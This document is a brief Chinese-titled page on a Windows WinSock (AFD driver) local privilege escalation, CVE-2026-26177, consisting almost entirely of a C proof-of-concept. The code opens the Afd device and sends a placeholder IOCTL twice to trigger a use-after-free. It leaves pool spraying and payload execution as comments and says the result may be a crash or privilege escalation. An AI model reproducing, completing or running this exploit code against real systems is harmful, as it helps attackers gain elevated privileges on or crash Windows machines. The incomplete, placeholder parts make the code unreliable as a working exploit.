CVE-2026-26177 Windows WinSock驱动本地提权漏洞

// PoC Concept for CVE-2026-26177 // This is a simplified demonstration of the UAF trigger logic. #include <windows.h> #include <stdio.h> #define IOCTL_VULN_TRIGGER 0x0001203F // Example IOCTL, replace with actual value int main() { HANDLE hDevice; DWORD bytesReturned; BYTE inputBuffer[0x20] = {0}; BYTE outputBuffer[0x10] = {0}; printf("[+] Attempting to open AFD device...\n"); hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle obtained. Triggering UAF...\n"); // Step 1: Free the object DeviceIoControl(hDevice, IOCTL_VULN_TRIGGER, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); // Step 2: Reallocation (Pool Feng Shui) would happen here // Spray the pool to reclaim the freed memory with controlled payload // Step 3: Use the freed object (Dangling pointer dereference) // This may lead to BSOD or code execution depending on the spray DeviceIoControl(hDevice, IOCTL_VULN_TRIGGER, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); printf("[+] IOCTLs sent. Check for crash or privilege escalation.\n"); CloseHandle(hDevice); return 0; }